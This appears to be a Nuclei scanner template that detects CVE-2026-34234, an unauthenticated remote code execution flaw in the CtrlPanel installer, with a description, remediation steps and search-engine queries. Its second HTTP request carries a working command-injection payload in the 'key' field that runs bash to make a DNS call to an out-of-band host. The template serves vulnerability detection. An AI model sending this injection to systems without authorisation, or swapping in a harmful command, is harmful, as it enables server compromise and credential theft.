CtrlPanel <= 1.1.1 - Remote Code Execution

id: CVE-2026-34234

info:
  name: CtrlPanel <= 1.1.1 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.
  remediation: |
    Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.
  reference:
    - https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-jmhr-q9q5-fqwh
    - https://github.com/rootdirective-sec/CVE-2026-34234-Lab
    - https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34234
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34234
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: ctrlpanel-gg
    product: ctrlpanel
    shodan-query: title:"CtrlPanel" http.html:"ctrlpanel"
    fofa-query: title="CtrlPanel"
  tags: cve,cve2026,ctrlpanel,rce,oast,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /installer/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'installation')"
        condition: and
        internal: true

  - raw:
      - |
        POST /installer/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        checkPtero=1&url=http%3A%2F%2F{{interactsh-url}}&key=asdasdasda%27%27+%26%26+bash+-c+%27nslookup+{{interactsh-url}}%27&clientkey=asdasdasd

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a0047304502201e356ff16247ddccd4e4609ac59d9e0f5f55edd8e35d8e95d2a219d384b43e6c022100ffe4aba19d9f2c6b39c58c626c3bf16e9cb3cab8ce867b92d55755b2c38006be:922c64590222798bb761d5b6d8e72950